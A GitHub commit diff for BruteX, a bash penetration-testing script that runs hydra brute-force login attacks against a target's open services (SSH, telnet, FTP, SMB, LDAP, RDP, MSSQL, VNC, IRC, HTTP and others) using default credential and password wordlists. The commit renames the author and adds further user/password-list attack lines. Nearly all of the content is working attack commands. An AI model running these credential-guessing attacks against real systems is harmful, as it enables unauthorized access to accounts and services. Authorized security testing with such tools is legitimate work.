Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
WP Engine Marketing committed Nov 12, 2018
2 parents e2b53d2 + 2702cef commit 2d77a5b
Show file tree
Hide file tree
Showing 2 changed files with 39 additions and 33 deletions.
68 changes: 37 additions & 31 deletions brutex
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#!/bin/bash
# BruteX by 1N3
# http://crowdshield.com
# BruteX by @xer0dayz
# http://xerosecurity.com
#
# ABOUT:
# BruteX is a simple bash script used to brute force all services on a target.
Expand All @@ -22,17 +22,16 @@ LOOT_DIR=/usr/share/brutex/loot
FTP_USER_PASS="/usr/share/brutex/wordlists/ftp-default-userpass.txt"
SSH_USER_PASS="/usr/share/brutex/wordlists/ssh-default-userpass.txt"
TELNET_USER_PASS="/usr/share/brutex/wordlists/telnet-default-userpass.txt"
MYSQL_USER_PASS="/usr/share/brutex/wordlists/mysql-default-userpass.txt"
MSSQL_USER_PASS="/usr/share/brutex/wordlists/mssql-default-userpass.txt"
MYSQL_USER_PASS="/usr/share/brutex/wordlists/mysql-default-userpass.txt"
ORACLE_USER_PASS="/usr/share/brutex/wordlists/oracle-default-userpass.txt"
POSTGRES_USER_PASS="/usr/share/brutex/wordlists/postgres-default-userpass.txt"
WINDOWS_USER_LIST="/usr/share/brutex/wordlists/windows-users.txt"
WINDOWS_USER_FILE="/usr/share/brutex/wordlists/windows-default-userpass.txt"
TOMCAT_USER_PASS="/usr/share/brutex/wordlists/tomcat-default-userpass.txt"
VNC_USER_PASS="/usr/share/brutex/wordlists/vnc-default-passwords.txt"
WINDOWS_USER_PASS="/usr/share/brutex/wordlists/windows-default-userpass.txt"
USER_FILE="/usr/share/brutex/wordlists/simple-users.txt"
PASS_FILE="/usr/share/brutex/wordlists/password.lst"
SNMP_FILE="/usr/share/brutex/wordlists/snmp-strings.txt"
VNC_FILE="/usr/share/brutex/wordlists/vnc-default-passwords.txt"
HTTP_LOCATION="/"
THREADS="1"
COLOR1='\033[91m'
Expand All @@ -51,8 +50,8 @@ if [ -z $TARGET ]; then
echo -e "$COLOR1 |______ / |__| |____/ |__| \___ >___/\ \ $RESET"
echo -e "$COLOR1 \/ \/ \_/$RESET"
echo ""
echo -e "$COLOR1 + -- --=[BruteX v$VER by 1N3$RESET"
echo -e "$COLOR1 + -- --=[http://crowdshield.com$RESET"
echo -e "$COLOR1 + -- --=[BruteX v$VER by @xer0dayz$RESET"
echo -e "$COLOR1 + -- --=[https://xerosecurity.com$RESET"
echo -e "$COLOR1 + -- --=[Usage: brutex <target> <port>"
echo -e "$RESET"
exit
Expand All @@ -67,8 +66,8 @@ echo -e "$COLOR1 | | \ | | \/ | /| | \ ___/ / \ $RESET"
echo -e "$COLOR1 |______ / |__| |____/ |__| \___ >___/\ \ $RESET"
echo -e "$COLOR1 \/ \/ \_/$RESET"
echo ""
echo -e "$COLOR1 + -- --=[BruteX v$VER by 1N3$RESET"
echo -e "$COLOR1 + -- --=[http://crowdshield.com$RESET"
echo -e "$COLOR1 + -- --=[BruteX v$VER by @xer0dayz$RESET"
echo -e "$COLOR1 + -- --=[http://xerosecurity.com$RESET"
echo ""
echo ""

Expand Down Expand Up @@ -122,6 +121,7 @@ then
else
echo -e "$COLOR2 + -- --=[Port 22 opened... running tests...$RESET"
hydra -C $SSH_USER_PASS $TARGET ssh -t $THREADS -e ns
hydra -L $USER_FILE -P $PASS_FILE $TARGET ssh -t $THREADS -e ns
fi

if [ -z "$port_23" ]
Expand All @@ -130,6 +130,7 @@ then
else
echo -e "$COLOR2 + -- --=[Port 23 opened... running tests...$RESET"
hydra -C $TELNET_USER_PASS $TARGET telnet -t $THREADS -e ns
hydra -L $USER_FILE -P $PASS_FILE $TARGET telnet -t $THREADS -e ns
fi

if [ -z "$port_25" ]
Expand Down Expand Up @@ -162,24 +163,24 @@ then
echo -e "$COLOR1 + -- --=[Port 139 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 139 opened... running tests...$RESET"
hydra -C $WINDOWS_USER_FILE $TARGET smb -S 139 -t $THREADS -e ns
hydra -L $WINDOWS_USER_LIST -P $PASS_FILE $TARGET smb -S 139 -t $THREADS -e ns
fi

if [ -z "$port_162" ]
then
echo -e "$COLOR1 + -- --=[Port 162 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 162 opened... running tests...$RESET"
hydra -L $SNMP_FILE -P $SNMP_FILE snmp -S 162 -t $THREADS -e ns
hydra -P $SNMP_FILE snmp -S 162 -t $THREADS -e ns
fi

if [ -z "$port_389" ]
then
echo -e "$COLOR1 + -- --=[Port 389 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 389 opened... running tests...$RESET"
hydra -C $WINDOWS_USER_FILE $TARGET ldap2 -S 389 -t $THREADS -e ns
hydra -C $WINDOWS_USER_FILE $TARGET ldap3 -S 389 -t $THREADS -e ns
hydra -L $WINDOWS_USER_LIST -P $PASS_FILE $TARGET ldap2 -S 389 -t $THREADS -e ns
hydra -L $WINDOWS_USER_LIST -P $PASS_FILE $TARGET ldap3 -S 389 -t $THREADS -e ns
fi

if [ -z "$port_443" ]
Expand All @@ -195,31 +196,32 @@ then
echo -e "$COLOR1 + -- --=[Port 445 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 445 opened... running tests...$RESET"
hydra -C $WINDOWS_USER_FILE $TARGET smb -S 445 -t $THREADS -e ns
hydra -C $WINDOWS_USER_PASS $TARGET smb -S 445 -t $THREADS -e ns
hydra -L $WINDOWS_USER_LIST -P $PASS_FILE $TARGET smb -S 445 -t $THREADS -e ns
fi

if [ -z "$port_512" ]
then
echo -e "$COLOR1 + -- --=[Port 512 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 512 opened... running tests...$RESET"
hydra -C $SSH_USER_PASS $TARGET rexec -S 512 -t $THREADS -e ns
hydra -L $USER_FILE -P $PASS_FILE $TARGET rexec -S 512 -t $THREADS -e ns
fi

if [ -z "$port_513" ]
then
echo -e "$COLOR1 + -- --=[Port 513 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 513 opened... running tests...$RESET"
hydra -C $SSH_USER_PASS $TARGET rlogin -S 513 -t $THREADS -e ns
hydra -L $USER_FILE -P $PASS_FILE $TARGET rlogin -S 513 -t $THREADS -e ns
fi

if [ -z "$port_514" ]
then
echo -e "$COLOR1 + -- --=[Port 514 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 514 opened... running tests...$RESET"
hydra -C $SSH_USER_PASS $TARGET rsh -S 514 -t $THREADS -e ns
hydra -L $USER_FILE -P $PASS_FILE $TARGET rsh -S 514 -t $THREADS -e ns
fi

if [ -z "$port_993" ]
Expand All @@ -235,7 +237,8 @@ then
echo -e "$COLOR1 + -- --=[Port 1433 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 1433 opened... running tests...$RESET"
hydra -C $MSSQL_USER_PASS $TARGET mssql -S 1433 -t $THREADS -e ns
hydra -C $MSSQL_USER_PASS $TARGET mssql -S 1433 -t $THREADS -e ns
hydra -L $WINDOWS_USER_LIST -P $PASS_FILE $TARGET mssql -S 1433 -t $THREADS -e ns
fi

if [ -z "$port_1521" ]
Expand All @@ -259,7 +262,8 @@ then
echo -e "$COLOR1 + -- --=[Port 3389 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 3389 opened... running tests...$RESET"
hydra -C $WINDOWS_USER_FILE $TARGET rdp -t $THREADS -e ns
hydra -C $WINDOWS_USER_PASS $TARGET rdp -t $THREADS -e ns
hydra -L $WINDOWS_USER_LIST -P $PASS_FILE $TARGET rdp -t $THREADS -e ns
fi

if [ -z "$port_5432" ]
Expand All @@ -275,15 +279,25 @@ then
echo -e "$COLOR1 + -- --=[Port 5900 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 5900 opened... running tests...$RESET"
hydra -C $VNC_USER_PASS $TARGET vnc -S 5900 -t $THREADS -e ns
hydra -P $VNC_FILE $TARGET vnc -S 5900 -t $THREADS -e ns
hydra -P $PASS_FILE $TARGET vnc -S 5900 -t $THREADS -e ns
fi

if [ -z "$port_5901" ]
then
echo -e "$COLOR1 + -- --=[Port 5901 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 5901 opened... running tests...$RESET"
hydra -C $VNC_USER_PASS $TARGET vnc -S 5901 -t $THREADS -e ns
hydra -P $VNC_FILE $TARGET vnc -S 5900 -t $THREADS -e ns
hydra -P $PASS_FILE $TARGET vnc -S 5901 -t $THREADS -e ns
fi

if [ -z "$port_6667" ]
then
echo -e "$COLOR1 + -- --=[Port 6667 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 6667 opened... running tests...$RESET"
hydra -L $USER_FILE -P $PASS_FILE $TARGET irc -s 6667 -t $THREADS -e ns
fi

if [ -z "$port_8000" ]
Expand All @@ -299,7 +313,7 @@ then
echo -e "$COLOR1 + -- --=[Port 8080 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 8080 opened... running tests...$RESET"
hydra -C $TOMCAT_USER_PASS $TARGET http-head -S 8080 -f -q -t $THREADS -e ns -m /
hydra -L $USER_FILE -P $PASS_FILE $TARGET http-head -S 8080 -f -q -t $THREADS -e ns -m /
fi

if [ -z "$port_8100" ]
Expand All @@ -310,14 +324,6 @@ else
hydra -L $USER_FILE -P $PASS_FILE $TARGET http-head -S 8100 -f -q -t $THREADS -e ns -m /
fi

if [ -z "$port_6667" ]
then
echo -e "$COLOR1 + -- --=[Port 6667 closed... skipping.$RESET"
else
echo -e "$COLOR2 + -- --=[Port 6667 opened... running tests...$RESET"
hydra -L $USER_FILE -P $PASS_FILE $TARGET irc -s 6667 -t $THREADS -e ns
fi

echo ""
echo -e "$COLOR3################################### Done! ###########################################$RESET"
exit 0
4 changes: 2 additions & 2 deletions install.sh
Original file line number Diff line number Diff line change
Expand Up @@ -14,8 +14,8 @@ echo -e "$COLOR1 | | \ | | \/ | /| | \ ___/ / \ $RESET"
echo -e "$COLOR1 |______ / |__| |____/ |__| \___ >___/\ \ $RESET"
echo -e "$COLOR1 \/ \/ \_/$RESET"
echo ""
echo -e "$COLOR1 + -- --=[BruteX by 1N3$RESET"
echo -e "$COLOR1 + -- --=[http://crowdshield.com$RESET"
echo -e "$COLOR1 + -- --=[BruteX by @xer0dayz$RESET"
echo -e "$COLOR1 + -- --=[https://xerosecurity.com$RESET"
echo -e "$RESET"

BRUTEX_INSTALL_DIR=/usr/share/brutex
Expand Down

0 comments on commit 2d77a5b

Please sign in to comment.